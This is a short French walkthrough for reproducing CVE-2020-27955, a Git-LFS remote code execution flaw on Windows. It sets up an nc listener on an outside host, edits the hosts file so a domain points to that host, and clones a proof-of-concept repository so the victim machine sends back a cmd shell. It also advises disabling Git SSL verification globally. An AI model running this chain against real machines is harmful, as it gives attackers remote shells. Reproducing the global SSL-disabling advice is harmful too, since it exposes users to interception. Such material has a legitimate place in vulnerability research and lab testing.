
1、Sur la machine Windows, téléchargez la version vulnérable de Git-LFS
Lien de téléchargement : https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1
2、Sur la machine Windows, installez-le, puis ajoutez les informations suivantes au fichier hosts. 10.1.1.5 est l'hôte qui écoute sur le port 8888 avec nc (vous pouvez le remplacer)
10.1.1.5 abcall.xyz
3、Sur l'hôte 10.1.1.5, démarrez nc en écoute sur le port 8888
┌──(root㉿hostname)-[~]
└─# nc
Cmd line: -l -p 8888
4、Sur la machine Windows, saisissez dans l'invite de commandes cmd
git clone https://github.com/z50913/CVE-2020-27955.git
5、Sur 10.1.1.5, vous obtenez le shell cmd de la machine Windows
Si vous rencontrez un problème de certificat SSL, exécutez d'abord la commande suivante pour désactiver la vérification SSL, puis relancez le clone
git config --global http.sslverify false